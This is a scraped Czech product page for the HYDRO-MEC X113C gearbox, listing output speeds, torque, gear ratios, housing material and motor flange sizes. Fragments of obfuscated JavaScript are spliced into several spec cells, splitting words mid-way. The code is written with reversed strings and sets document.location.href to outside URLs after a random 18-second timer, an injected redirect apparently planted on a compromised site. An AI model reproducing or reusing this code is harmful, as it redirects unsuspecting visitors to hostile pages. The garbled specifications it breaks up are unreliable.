HYDRO-MEC X113C
| Typ: | X113C |
| Výstupní otáčky: | 25,3 – 219 min-1 (n1 = 1400 min-1) |
| Výstupní toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}točivý moment: | 4500 Nm |
| Převotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dový poměr: | 6,39 – 55,33 : 1 |
| Materiál skříně: | litina |
| Výstupní dutá hřídel: | Ø70 mm* (* sttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}antoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}andard) |
| Mazání: | syntetický olej |
| Velikost motoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torové příruby IEC: | 132B5 / 160B5 / 180B5 / 200B5 / 225B5 |
Dokumentace:
Katalogový list kuželočelní X113
1 soubor(y) 2.36 MB
Seznam ND 113C
1 soubor(y) 273.99 KB
Additional information
| Převodový poměr | 1:7 |
|---|---|
| Vstupní motorová příruba | B14/56 |
| Velikost převodové skříně | 030, 040, 050 |

Reviews
There are no reviews yet.